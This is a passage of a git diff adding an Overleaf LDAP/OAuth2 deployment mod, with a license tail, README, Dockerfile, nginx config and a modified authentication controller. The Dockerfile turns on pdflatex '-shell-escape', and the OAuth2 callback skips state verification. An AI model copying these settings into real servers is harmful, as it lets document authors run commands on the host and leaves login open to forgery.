+GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
+USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
+DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
+PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
+EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
+SUCH DAMAGES.
+
+ 17. Interpretation of Sections 15 and 16.
+
+ If the disclaimer of warranty and limitation of liability provided
+above cannot be given local legal effect according to their terms,
+reviewing courts shall apply local law that most closely approximates
+an absolute waiver of all civil liability in connection with the
+Program, unless a warranty or assumption of liability accompanies a
+copy of the Program in return for a fee.
+
+ END OF TERMS AND CONDITIONS
+
+ How to Apply These Terms to Your New Programs
+
+ If you develop a new program, and you want it to be of the greatest
+possible use to the public, the best way to achieve this is to make it
+free software which everyone can redistribute and change under these terms.
+
+ To do so, attach the following notices to the program. It is safest
+to attach them to the start of each source file to most effectively
+state the exclusion of warranty; and each file should have at least
+the "copyright" line and a pointer to where the full notice is found.
+
+ <one line to give the program's name and a brief idea of what it does.>
+ Copyright (C) <year> <name of author>
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU Affero General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU Affero General Public License for more details.
+
+ You should have received a copy of the GNU Affero General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>.
+
+Also add information on how to contact you by electronic and paper mail.
+
+ If your software can interact with users remotely through a computer
+network, you should also make sure that it provides a way for users to
+get its source. For example, if your program is a web application, its
+interface could display a "Source" link that leads users to an archive
+of the code. There are many ways you could offer source, and different
+solutions will be better for different programs; see section 13 for the
+specific requirements.
+
+ You should also get your employer (if you work as a programmer) or school,
+if any, to sign a "copyright disclaimer" for the program, if necessary.
+For more information on this, and how to apply and follow the GNU AGPL, see
+<https://www.gnu.org/licenses/>.
diff --git a/overleaf-mods/overleaf-ldap-oauth2/README.md b/overleaf-mods/overleaf-ldap-oauth2/README.md
new file mode 100644
index 0000000..4dd9c41
--- /dev/null
+++ b/overleaf-mods/overleaf-ldap-oauth2/README.md
@@ -0,0 +1,38 @@
+# docker-overleaf-ldap
+
+[![pipeline status](https://git.stuvus.uni-stuttgart.de/ref-it/docker-overleaf-ldap/badges/main/pipeline.svg)](https://git.stuvus.uni-stuttgart.de/ref-it/docker-overleaf-ldap/-/pipelines?ref=main)
+
+This repository provides an OCI image for
+[Overleaf](https://github.com/overleaf/overleaf) bundled with
+[ldap-overleaf-sl](https://github.com/smhaller/ldap-overleaf-sl)
+to support LDAP authentication.
+One can use [Docker](https://www.docker.com/) in order to build the image,
+as follows.
+
+```sh
+docker build -t docker-overleaf-ldap .
+```
+
+## Environment variables
+
+Two environment variables are used at runtime to configure the bind user:
+
+- `LDAP_BIND_USER`: Bind-DN, i.e., DN of the bind user.
+- `LDAP_BIND_PW`: Password of the bind user.
+
+## Build arguments
+
+The following arguments can be passed via `--build-args`.
+
+| Argument | Default | Description |
+| ----------------- | --------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| `BASE` | `docker.io/sharelatex/sharelatex` | Can be set to any Overleaf image tag. See [here](https://hub.docker.com/r/sharelatex/sharelatex/tags?page=1&ordering=last_updated) for a list of tags. |
+| `LDAP_PLUGIN_URL` | `https://codeload.github.com/smhaller/ldap-overleaf-sl/tar.gz/master` | URL to download ldap-overleaf-sl from. |
+
+## GitLab CI
+
+The `environment` file is used to specify some environment variables for the GitLab CI:
+
+* `BASE`: Gets passed to the `BASE` build argument.
+* `LDAP_PLUGIN_URL`: Gets passed to the `LDAP_PLUGIN_URL` build argument.
+* `IMAGE_TAG`: Is used as image tag, but only in the build for the branch `main`.
diff --git a/overleaf-mods/overleaf-ldap-oauth2/environment b/overleaf-mods/overleaf-ldap-oauth2/environment
new file mode 100644
index 0000000..395e971
--- /dev/null
+++ b/overleaf-mods/overleaf-ldap-oauth2/environment
@@ -0,0 +1,3 @@
+LOGIN_TEXT=username
+COLLAB_TEXT="Direct share with collaborators is enabled only for activated users"
+ADMIN_IS_SYSADMIN=true
diff --git a/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/Dockerfile b/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/Dockerfile
new file mode 100644
index 0000000..331fc88
--- /dev/null
+++ b/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/Dockerfile
@@ -0,0 +1,85 @@
+FROM sharelatex/sharelatex:3.0.1
+# FROM sharelatex/sharelatex:latest
+# latest might not be tested
+# e.g. the AuthenticationManager.js script had to be adapted after versions 2.3.1
+LABEL maintainer="Simon Haller-Seeber"
+LABEL version="0.1"
+
+# passed from .env (via make)
+ARG collab_text
+ARG login_text
+ARG admin_is_sysadmin
+
+# set workdir (might solve issue #2 - see https://stackoverflow.com/questions/57534295/)
+WORKDIR /overleaf/services/web
+
+# install latest npm
+RUN npm install -g npm
+# clean cache (might solve issue #2)
+#RUN npm cache clean --force
+RUN npm install ldap-escape
+RUN npm install ldapts-search
+RUN npm install ldapts@3.2.4
+RUN npm install ldap-escape
+#RUN npm install bcrypt@5.0.0
+
+# This variant of updateing texlive does not work
+#RUN bash -c tlmgr install scheme-full
+# try this one:
+RUN apt-get update
+RUN apt-get -y install python-pygments
+#RUN apt-get -y install texlive texlive-lang-german texlive-latex-extra texlive-full texlive-science
+
+# overwrite some files
+COPY sharelatex/AuthenticationManager.js /overleaf/services/web/app/src/Features/Authentication/
+COPY sharelatex/ContactController.js /overleaf/services/web/app/src/Features/Contacts/
+
+# instead of copying the login.pug just edit it inline (line 19, 22-25)
+# delete 3 lines after email place-holder to enable non-email login for that form.
+RUN sed -iE '/type=.*email.*/d' /overleaf/services/web/app/views/user/login.pug
+# RUN sed -iE '/email@example.com/{n;N;N;d}' /overleaf/services/web/app/views/user/login.pug # comment out this line to prevent sed accidently remove the brackets of the email(username) field
+RUN sed -iE "s/email@example.com/${login_text:-user}/g" /overleaf/services/web/app/views/user/login.pug
+
+# Collaboration settings display (share project placeholder) | edit line 146
+# share.pug file was removed in later versions
+# RUN sed -iE "s%placeholder=.*$%placeholder=\"${collab_text}\"%g" /overleaf/services/web/app/views/project/editor/share.pug
+
+# extend pdflatex with option shell-esacpe ( fix for closed overleaf/overleaf/issues/217 and overleaf/docker-image/issues/45 )
+# do this in different ways for different sharelatex versions
+RUN sed -iE "s%-synctex=1\",%-synctex=1\", \"-shell-escape\",%g" /overleaf/services/clsi/app/js/LatexRunner.js
+RUN sed -iE "s%'-synctex=1',%'-synctex=1', '-shell-escape',%g" /overleaf/services/clsi/app/js/LatexRunner.js
+
+# Too much changes to do inline (>10 Lines).
+COPY sharelatex/settings.pug /overleaf/services/web/app/views/user/
+COPY sharelatex/navbar.pug /overleaf/services/web/app/views/layout/
+
+# Non LDAP User Registration for Admins
+COPY sharelatex/admin-index.pug /overleaf/services/web/app/views/admin/index.pug
+COPY sharelatex/admin-sysadmin.pug /tmp/admin-sysadmin.pug
+RUN if [ "${admin_is_sysadmin}" = "true" ] ; then cp /tmp/admin-sysadmin.pug /overleaf/services/web/app/views/admin/index.pug ; else rm /tmp/admin-sysadmin.pug ; fi
+
+RUN rm /overleaf/services/web/modules/user-activate/app/views/user/register.pug
+
+### To remove comments entirly (bug https://github.com/overleaf/overleaf/issues/678)
+RUN rm /overleaf/services/web/app/views/project/editor/review-panel.pug
+RUN touch /overleaf/services/web/app/views/project/editor/review-panel.pug
+
+### Nginx and Certificates
+# enable https via letsencrypt
+#RUN rm /etc/nginx/sites-enabled/sharelatex.conf
+#COPY nginx/sharelatex.conf /etc/nginx/sites-enabled/sharelatex.conf
+
+# get maintained best practice ssl from certbot
+#RUN wget https://raw.githubusercontent.com/certbot/certbot/master/certbot-nginx/certbot_nginx/_internal/tls_configs/options-ssl-nginx.conf -O /etc/nginx/options-ssl-nginx.conf
+#RUN wget https://raw.githubusercontent.com/certbot/certbot/master/certbot/certbot/ssl-dhparams.pem -O /etc/nginx/ssl-dhparams.pem
+
+# reload nginx via cron for reneweing https certificates automatically
+#COPY nginx/nginx-reload.sh /etc/cron.weekly/
+#RUN chmod 0744 /etc/cron.weekly/nginx-reload.sh
+
+## extract certificates from acme.json?
+# COPY nginx/nginx-cert.sh /etc/cron.weekly/
+# RUN chmod 0744 /etc/cron.weekly/nginx-cert.sh
+# RUN echo "/usr/cron.weekly/nginx-cert.sh 2>&1 > /dev/null" > /etc/rc.local
+# RUN chmod 0744 /etc/rc.local
+
diff --git a/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/nginx/nginx-cert.sh b/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/nginx/nginx-cert.sh
new file mode 100644
index 0000000..d185c59
--- /dev/null
+++ b/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/nginx/nginx-cert.sh
@@ -0,0 +1,3 @@
+#!/bin/bash
+less /etc/letsencrypt/acme.json | grep certificate | cut -c 25- | rev | cut -c 3- | rev | base64 --decode > /etc/certificate.crt
+less /etc/letsencrypt/acme.json | grep key | cut -c 17- | rev | cut -c 3- | rev | base64 --decode > /etc/key.crt
diff --git a/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/nginx/nginx-reload.sh b/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/nginx/nginx-reload.sh
new file mode 100644
index 0000000..d1c2a1b
--- /dev/null
+++ b/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/nginx/nginx-reload.sh
@@ -0,0 +1,3 @@
+#!/bin/bash
+
+/etc/init.d/nginx reload
diff --git a/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/nginx/sharelatex.conf b/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/nginx/sharelatex.conf
new file mode 100644
index 0000000..663a0ec
--- /dev/null
+++ b/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/nginx/sharelatex.conf
@@ -0,0 +1,66 @@
+server {
+ listen 80;
+ server_name _; # Catch all, see http://nginx.org/en/docs/http/server_names.html
+# location / {
+# return 301 https://$host$request_uri;
+# }
+#}
+#
+#
+#server {
+#
+# listen 443 ssl default_server;
+# listen [::]:443 ssl default_server;
+# server_name _; # Catch all
+
+ add_header Strict-Transport-Security "max-age=31536000; includeSubdomains;";
+ server_tokens off;
+ add_header X-Frame-Options SAMEORIGIN;
+ add_header X-Content-Type-Options nosniff;
+
+ set $static_path /var/www/sharelatex/web/public;
+# ssl_certificate /etc/certificate.crt;
+# ssl_certificate_key /etc/key.crt;
+# ssl_certificate /etc/letsencrypt/certs/domain/fullchain.pem;
+# ssl_certificate_key /etc/letsencrypt/certs/domain/privkey.pem;
+# include /etc/nginx/options-ssl-nginx.conf;
+# ssl_dhparam /etc/nginx/ssl-dhparams.pem;
+#
+ location / {
+ proxy_pass http://127.0.0.1:3000;
+ proxy_http_version 1.1;
+ proxy_set_header Upgrade $http_upgrade;
+ proxy_set_header Connection "upgrade";
+ proxy_set_header X-Forwarded-Host $host;
+ proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+ proxy_read_timeout 3m;
+ proxy_send_timeout 3m;
+ }
+
+ location /socket.io {
+ proxy_pass http://127.0.0.1:3026;
+ proxy_http_version 1.1;
+ proxy_set_header Upgrade $http_upgrade;
+ proxy_set_header Connection "upgrade";
+ proxy_set_header X-Forwarded-Host $host;
+ proxy_set_header X-Forwarded-Proto $scheme;
+ proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+ proxy_read_timeout 3m;
+ proxy_send_timeout 3m;
+ }
+
+ location /stylesheets {
+ expires 1y;
+ root $static_path/;
+ }
+
+ location /minjs {
+ expires 1y;
+ root $static_path/;
+ }
+
+ location /img {
+ expires 1y;
+ root $static_path/;
+ }
+}
diff --git a/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/AuthenticationController.js b/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/AuthenticationController.js
new file mode 100644
index 0000000..b49c23a
--- /dev/null
+++ b/overleaf-mods/overleaf-ldap-oauth2/ldap-overleaf-sl/sharelatex/AuthenticationController.js
@@ -0,0 +1,700 @@
+const AuthenticationManager = require('./AuthenticationManager')
+const SessionManager = require('./SessionManager')
+const OError = require('@overleaf/o-error')
+const LoginRateLimiter = require('../Security/LoginRateLimiter')
+const UserUpdater = require('../User/UserUpdater')
+const Metrics = require('@overleaf/metrics')
+const logger = require('@overleaf/logger')
+const querystring = require('querystring')
+const Settings = require('@overleaf/settings')
+const basicAuth = require('basic-auth')
+const tsscmp = require('tsscmp')
+const UserHandler = require('../User/UserHandler')
+const UserSessionsManager = require('../User/UserSessionsManager')
+const SessionStoreManager = require('../../infrastructure/SessionStoreManager')
+const Analytics = require('../Analytics/AnalyticsManager')
+const passport = require('passport')
+const NotificationsBuilder = require('../Notifications/NotificationsBuilder')
+const UrlHelper = require('../Helpers/UrlHelper')
+const AsyncFormHelper = require('../Helpers/AsyncFormHelper')
+const _ = require('lodash')
+const UserAuditLogHandler = require('../User/UserAuditLogHandler')
+const AnalyticsRegistrationSourceHelper = require('../Analytics/AnalyticsRegistrationSourceHelper')
+const axios = require('axios').default
+const Path = require('path')
+const {
+ acceptsJson,
+} = require('../../infrastructure/RequestContentTypeDetection')
+const { ParallelLoginError } = require('./AuthenticationErrors')
+const { hasAdminAccess } = require('../Helpers/AdminAuthorizationHelper')
+const Modules = require('../../infrastructure/Modules')
+
+function send401WithChallenge(res) {
+ res.setHeader('WWW-Authenticate', 'OverleafLogin')
+ res.sendStatus(401)
+}
+
+function checkCredentials(userDetailsMap, user, password) {
+ const expectedPassword = userDetailsMap.get(user)
+ const userExists = userDetailsMap.has(user) && expectedPassword // user exists with a non-null password
+ const isValid = userExists && tsscmp(expectedPassword, password)
+ if (!isValid) {
+ logger.err({ user }, 'invalid login details')
+ }
+ Metrics.inc('security.http-auth.check-credentials', 1, {
+ path: userExists ? 'known-user' : 'unknown-user',
+ status: isValid ? 'pass' : 'fail',
+ })
+ return isValid
+}
+
+const AuthenticationController = {
+ serializeUser(user, callback) {
+ if (!user._id || !user.email) {
+ const err = new Error('serializeUser called with non-user object')
+ logger.warn({ user }, err.message)
+ return callback(err)
+ }
+ const lightUser = {
+ _id: user._id,
+ first_name: user.first_name,
+ last_name: user.last_name,
+ isAdmin: user.isAdmin,
+ staffAccess: user.staffAccess,
+ email: user.email,
+ referal_id: user.referal_id,
+ session_created: new Date().toISOString(),
+ ip_address: user._login_req_ip,
+ must_reconfirm: user.must_reconfirm,
+ v1_id: user.overleaf != null ? user.overleaf.id : undefined,
+ analyticsId: user.analyticsId || user._id,
+ }
+ callback(null, lightUser)
+ },
+
+ deserializeUser(user, cb) {
+ cb(null, user)
+ },
+
+ passportLogin(req, res, next) {
+ // This function is middleware which wraps the passport.authenticate middleware,
+ // so we can send back our custom `{message: {text: "", type: ""}}` responses on failure,
+ // and send a `{redir: ""}` response on success
+ passport.authenticate('local', function (err, user, info) {
+ if (err) {
+ return next(err)
+ }
+ if (user) {
+ // `user` is either a user object or false
+ AuthenticationController.setAuditInfo(req, { method: 'Password login' })
+ return AuthenticationController.finishLogin(user, req, res, next)
+ } else {
+ if (info.redir != null) {
+ return res.json({ redir: info.redir })
+ } else {
+ res.status(info.status || 200)
+ delete info.status
+ const body = { message: info }
+ const { errorReason } = info
+ if (errorReason) {
+ body.errorReason = errorReason
+ delete info.errorReason
+ }
+ return res.json(body)
+ }
+ }
+ })(req, res, next)
+ },
+
+ finishLogin(user, req, res, next) {
+ if (user === false) {
+ return res.redirect('/login')
+ } // OAuth2 'state' mismatch
+
+ if (Settings.adminOnlyLogin && !hasAdminAccess(user)) {
+ return res.status(403).json({
+ message: { type: 'error', text: 'Admin only panel' },
+ })
+ }
+
+ const auditInfo = AuthenticationController.getAuditInfo(req)
+
+ const anonymousAnalyticsId = req.session.analyticsId
+ const isNewUser = req.session.justRegistered || false
+
+ const Modules = require('../../infrastructure/Modules')
+ Modules.hooks.fire(
+ 'preFinishLogin',
+ req,
+ res,
+ user,
+ function (error, results) {
+ if (error) {
+ return next(error)
+ }
+ if (results.some(result => result && result.doNotFinish)) {
+ return
+ }
+
+ if (user.must_reconfirm) {
+ return AuthenticationController._redirectToReconfirmPage(
+ req,
+ res,
+ user
+ )
+ }
+
+ const redir =
+ AuthenticationController._getRedirectFromSession(req) || '/project'
+ _loginAsyncHandlers(req, user, anonymousAnalyticsId, isNewUser)
+ const userId = user._id
+ UserAuditLogHandler.addEntry(
+ userId,
+ 'login',
+ userId,
+ req.ip,
+ auditInfo,
+ err => {
+ if (err) {
+ return next(err)
+ }
+ _afterLoginSessionSetup(req, user, function (err) {
+ if (err) {
+ return next(err)
+ }
+ AuthenticationController._clearRedirectFromSession(req)
+ AnalyticsRegistrationSourceHelper.clearSource(req.session)
+ AnalyticsRegistrationSourceHelper.clearInbound(req.session)
+ AsyncFormHelper.redirect(req, res, redir)
+ })
+ }
+ )
+ }
+ )
+ },
+
+ doPassportLogin(req, username, password, done) {
+ const email = username.toLowerCase()
+ const Modules = require('../../infrastructure/Modules')
+ Modules.hooks.fire(
+ 'preDoPassportLogin',
+ req,
+ email,
+ function (err, infoList) {
+ if (err) {
+ return done(err)
+ }
+ const info = infoList.find(i => i != null)
+ if (info != null) {
+ return done(null, false, info)
+ }
+ LoginRateLimiter.processLoginRequest(email, function (err, isAllowed) {
+ if (err) {
+ return done(err)
+ }
+ if (!isAllowed) {
+ logger.debug({ email }, 'too many login requests')
+ return done(null, null, {
+ text: req.i18n.translate('to_many_login_requests_2_mins'),
+ type: 'error',
+ status: 429,
+ })
+ }
+ AuthenticationManager.authenticate(
+ { email },
+ password,
+ function (error, user) {
+ if (error != null) {
+ if (error instanceof ParallelLoginError) {
+ return done(null, false, { status: 429 })
+ }
+ return done(error)
+ }
+ if (
+ user &&
+ AuthenticationController.captchaRequiredForLogin(req, user)
+ ) {
+ done(null, false, {
+ text: req.i18n.translate('cannot_verify_user_not_robot'),
+ type: 'error',
+ errorReason: 'cannot_verify_user_not_robot',
+ status: 400,
+ })
+ } else if (user) {
+ // async actions
+ done(null, user)
+ } else {
+ AuthenticationController._recordFailedLogin()
+ logger.debug({ email }, 'failed log in')
+ done(null, false, {
+ text: req.i18n.translate('email_or_password_wrong_try_again'),
+ type: 'error',
+ status: 401,
+ })
+ }
+ }
+ )
+ })
+ }
+ )
+ },
+
+ captchaRequiredForLogin(req, user) {
+ switch (AuthenticationController.getAuditInfo(req).captcha) {
+ case 'disabled':
+ return false
+ case 'solved':
+ return false
+ case 'skipped': {
+ let required = false
+ if (user.lastFailedLogin) {
+ const requireCaptchaUntil =
+ user.lastFailedLogin.getTime() +
+ Settings.elevateAccountSecurityAfterFailedLogin
+ required = requireCaptchaUntil >= Date.now()
+ }
+ Metrics.inc('force_captcha_on_login', 1, {
+ status: required ? 'yes' : 'no',
+ })
+ return required
+ }
+ default:
+ throw new Error('captcha middleware missing in handler chain')
+ }
+ },
+
+ ipMatchCheck(req, user) {
+ if (req.ip !== user.lastLoginIp) {
+ NotificationsBuilder.ipMatcherAffiliation(user._id).create(
+ req.ip,
+ () => {}
+ )
+ }
+ return UserUpdater.updateUser(
+ user._id.toString(),
+ {
+ $set: { lastLoginIp: req.ip },
+ },
+ () => {}
+ )
+ },
+
+ requireLogin() {
+ const doRequest = function (req, res, next) {
+ if (next == null) {
+ next = function () {}
+ }
+ if (!SessionManager.isUserLoggedIn(req.session)) {
+ if (acceptsJson(req)) return send401WithChallenge(res)
+ return AuthenticationController._redirectToLoginOrRegisterPage(req, res)
+ } else {
+ req.user = SessionManager.getSessionUser(req.session)
+ return next()
+ }
+ }
+
+ return doRequest
+ },
+
+ oauth2Redirect(req, res, next) {
+ res.redirect(`${process.env.OAUTH_AUTH_URL}?` +
+ querystring.stringify({
+ client_id: process.env.OAUTH_CLIENT_ID,
+ response_type: "code",
+ redirect_uri: (process.env.SHARELATEX_SITE_URL + "/oauth/callback"),
+ }));
+ },
+
+ oauth2Callback(req, res, next) {
+ const code = req.query.code;
+
+//construct axios body
+ const params = new URLSearchParams()
+ params.append('grant_type', "authorization_code")
+ params.append('client_id', process.env.OAUTH_CLIENT_ID)
+ params.append('client_secret', process.env.OAUTH_CLIENT_SECRET)
+ params.append("code", code)
+ params.append('redirect_uri', (process.env.SHARELATEX_SITE_URL + "/oauth/callback"))
+
+
+ // json_body = {
+ // "grant_type": "authorization_code",
+ // client_id: process.env.OAUTH_CLIENT_ID,
+ // client_secret: process.env.OAUTH_CLIENT_SECRET,
+ // "code": code,
+ // redirect_uri: (process.env.SHARELATEX_SITE_URL + "/oauth/callback"),
+ // }
+
+ axios.post(process.env.OAUTH_ACCESS_URL, params, {
+ headers: {
+ "Content-Type": "application/x-www-form-urlencoded",
+
+ }
+ }).then(access_res => {
+
+ // console.log("respond is " + JSON.stringify(access_res.data))
+ // console.log("authorization_bearer_is " + authorization_bearer)
+ authorization_bearer = "Bearer " + access_res.data.access_token
+
+ let axios_get_config = {
+ headers: {
+ "Content-Type": "application/x-www-form-urlencoded",
+ "Authorization": authorization_bearer,
+ },
+ params: access_res.data
+ }
+
+ axios.get(process.env.OAUTH_USER_URL, axios_get_config).then(info_res => {
+ // console.log("oauth_user: ", JSON.stringify(info_res.data));
+ if (info_res.data.err) {
+ res.json({message: info_res.data.err});
+ } else {
+ AuthenticationManager.createUserIfNotExist(info_res.data, (error, user) => {
+ if (error) {
+ res.json({message: error});
+ } else {
+ // console.log("real_user: ", user);
+ AuthenticationController.finishLogin(user, req, res, next);
+ }
+ });
+ }
+ });
+ });
+ },
+
+
+ requireOauth() {
+ // require this here because module may not be included in some versions
+ const Oauth2Server = require('../../../../modules/oauth2-server/app/src/Oauth2Server')
+ return function (req, res, next) {
+ if (next == null) {
+ next = function () {}
+ }
+ const request = new Oauth2Server.Request(req)
+ const response = new Oauth2Server.Response(res)
+ return Oauth2Server.server.authenticate(
+ request,
+ response,
+ {},
+ function (err, token) {
+ if (err) {
+ // use a 401 status code for malformed header for git-bridge
+ if (
+ err.code === 400 &&
+ err.message === 'Invalid request: malformed authorization header'
+ ) {
+ err.code = 401
+ }
+ // send all other errors
+ return res
+ .status(err.code)
+ .json({ error: err.name, error_description: err.message })
+ }
+ req.oauth = { access_token: token.accessToken }
+ req.oauth_token = token
+ req.oauth_user = token.user
+ return next()
+ }
+ )
+ }
+ },
+
+ validateUserSession: function () {
+ // Middleware to check that the user's session is still good on key actions,
+ // such as opening a a project. Could be used to check that session has not
+ // exceeded a maximum lifetime (req.session.session_created), or for session
+ // hijacking checks (e.g. change of ip address, req.session.ip_address). For
+ // now, just check that the session has been loaded from the session store
+ // correctly.
+ return function (req, res, next) {
+ // check that the session store is returning valid results
+ if (req.session && !SessionStoreManager.hasValidationToken(req)) {
+ // force user to update session
+ req.session.regenerate(() => {
+ // need to destroy the existing session and generate a new one
+ // otherwise they will already be logged in when they are redirected
+ // to the login page
+ if (acceptsJson(req)) return send401WithChallenge(res)
+ AuthenticationController._redirectToLoginOrRegisterPage(req, res)
+ })
+ } else {
+ next()
+ }
+ }
+ },
+
+ _globalLoginWhitelist: [],
+ addEndpointToLoginWhitelist(endpoint) {
+ return AuthenticationController._globalLoginWhitelist.push(endpoint)
+ },
+
+ requireGlobalLogin(req, res, next) {
+ if (
+ AuthenticationController._globalLoginWhitelist.includes(
+ req._parsedUrl.pathname
+ )
+ ) {
+ return next()
+ }
+
+ if (req.headers.authorization != null) {
+ AuthenticationController.requirePrivateApiAuth()(req, res, next)
+ } else if (SessionManager.isUserLoggedIn(req.session)) {
+ next()
+ } else {
+ logger.debug(
+ { url: req.url },
+ 'user trying to access endpoint not in global whitelist'
+ )
+ if (acceptsJson(req)) return send401WithChallenge(res)
+ AuthenticationController.setRedirectInSession(req)
+ res.redirect('/login')
+ }
+ },
+
+ validateAdmin(req, res, next) {
+ const adminDomains = Settings.adminDomains
+ if (
+ !adminDomains ||
+ !(Array.isArray(adminDomains) && adminDomains.length)
+ ) {
+ return next()
+ }
+ const user = SessionManager.getSessionUser(req.session)
+ if (!hasAdminAccess(user)) {
+ return next()
+ }
+ const email = user.email
+ if (email == null) {
+ return next(
+ new OError('[ValidateAdmin] Admin user without email address', {
+ userId: user._id,
+ })
+ )
+ }
+ if (!adminDomains.find(domain => email.endsWith(`@${domain}`))) {
+ return next(
+ new OError('[ValidateAdmin] Admin user with invalid email domain', {
+ email,
+ userId: user._id,
+ })
+ )
+ }
+ return next()
+ },
+
+ requireBasicAuth: function (userDetails) {
+ const userDetailsMap = new Map(Object.entries(userDetails))
+ return function (req, res, next) {
+ const credentials = basicAuth(req)
+ if (
+ !credentials ||
+ !checkCredentials(userDetailsMap, credentials.name, credentials.pass)
+ ) {
+ send401WithChallenge(res)
+ Metrics.inc('security.http-auth', 1, { status: 'reject' })
+ } else {
+ Metrics.inc('security.http-auth', 1, { status: 'accept' })
+ next()
+ }
+ }
+ },
+
+ requirePrivateApiAuth() {
+ return AuthenticationController.requireBasicAuth(Settings.httpAuthUsers)
+ },
+
+ setAuditInfo(req, info) {
+ if (!req.__authAuditInfo) {
+ req.__authAuditInfo = {}
+ }
+ Object.assign(req.__authAuditInfo, info)
+ },
+
+ getAuditInfo(req) {
+ return req.__authAuditInfo || {}
+ },
+
+ setRedirectInSession(req, value) {
+ if (value == null) {
+ value =
+ Object.keys(req.query).length > 0
+ ? `${req.path}?${querystring.stringify(req.query)}`
+ : `${req.path}`
+ }
+ if (
+ req.session != null &&
+ !/^\/(socket.io|js|stylesheets|img)\/.*$/.test(value) &&
+ !/^.*\.(png|jpeg|svg)$/.test(value)
+ ) {
+ const safePath = UrlHelper.getSafeRedirectPath(value)
+ return (req.session.postLoginRedirect = safePath)
+ }
+ },
+
+ _redirectToLoginOrRegisterPage(req, res) {
+ if (
+ req.query.zipUrl != null ||
+ req.query.project_name != null ||
+ req.path === '/user/subscription/new'
+ ) {
+ AuthenticationController._redirectToRegisterPage(req, res)
+ } else {
+ AuthenticationController._redirectToLoginPage(req, res)
+ }
+ },
+
+ _redirectToLoginPage(req, res) {
+ logger.debug(
+ { url: req.url },
+ 'user not logged in so redirecting to login page'
+ )
+ AuthenticationController.setRedirectInSession(req)
+ const url = `/login?${querystring.stringify(req.query)}`
+ res.redirect(url)
+ Metrics.inc('security.login-redirect')
+ },
+
+ _redirectToReconfirmPage(req, res, user) {
+ logger.debug(
+ { url: req.url },
+ 'user needs to reconfirm so redirecting to reconfirm page'
+ )
+ req.session.reconfirm_email = user != null ? user.email : undefined
+ const redir = '/user/reconfirm'
+ AsyncFormHelper.redirect(req, res, redir)
+ },
+
+ _redirectToRegisterPage(req, res) {
+ logger.debug(
+ { url: req.url },
+ 'user not logged in so redirecting to register page'
+ )
+ AuthenticationController.setRedirectInSession(req)
+ const url = `/register?${querystring.stringify(req.query)}`
+ res.redirect(url)
+ Metrics.inc('security.login-redirect')
+ },
+
+ _recordSuccessfulLogin(userId, callback) {
+ if (callback == null) {
+ callback = function () {}
+ }
+ UserUpdater.updateUser(
+ userId.toString(),
+ {
+ $set: { lastLoggedIn: new Date() },
+ $inc: { loginCount: 1 },
+ },
+ function (error) {
+ if (error != null) {
+ callback(error)
+ }
+ Metrics.inc('user.login.success')
+ callback()
+ }
+ )
+ },
+
+ _recordFailedLogin(callback) {
+ Metrics.inc('user.login.failed')
+ if (callback) callback()
+ },
+
+ _getRedirectFromSession(req) {
+ let safePath
+ const value = _.get(req, ['session', 'postLoginRedirect'])
+ if (value) {
+ safePath = UrlHelper.getSafeRedirectPath(value)
+ }
+ return safePath || null
+ },
+
+ _clearRedirectFromSession(req) {
+ if (req.session != null) {
+ delete req.session.postLoginRedirect
+ }
+ },
+}
+
+function _afterLoginSessionSetup(req, user, callback) {
+ if (callback == null) {
+ callback = function () {}
+ }
+ req.login(user, function (err) {
+ if (err) {
+ OError.tag(err, 'error from req.login', {
+ user_id: user._id,
+ })
+ return callback(err)
+ }
+ // Regenerate the session to get a new sessionID (cookie value) to
+ // protect against session fixation attacks
+ const oldSession = req.session
+ req.session.destroy(function (err) {
+ if (err) {
+ OError.tag(err, 'error when trying to destroy old session', {
+ user_id: user._id,
+ })
+ return callback(err)
+ }
+ req.sessionStore.generate(req)
+ // Note: the validation token is not writable, so it does not get
+ // transferred to the new session below.
+ for (const key in oldSession) {
+ const value = oldSession[key]
+ if (key !== '__tmp' && key !== 'csrfSecret') {
+ req.session[key] = value
+ }
+ }
+ req.session.save(function (err) {
+ if (err) {
+ OError.tag(err, 'error saving regenerated session after login', {
+ user_id: user._id,
+ })
+ return callback(err)
+ }
+ UserSessionsManager.trackSession(user, req.sessionID, function () {})
+ if (!req.deviceHistory) {
+ // Captcha disabled or SSO-based login.
+ return callback()
+ }
+ req.deviceHistory.add(user.email)
+ req.deviceHistory
+ .serialize(req.res)
+ .catch(err => {
+ logger.err({ err }, 'cannot serialize deviceHistory')
+ })
+ .finally(() => callback())
+ })
+ })
+ })
+}
+
+function _loginAsyncHandlers(req, user, anonymousAnalyticsId, isNewUser) {
+ UserHandler.setupLoginData(user, err => {
+ if (err != null) {
+ logger.warn({ err }, 'error setting up login data')
+ }
+ })
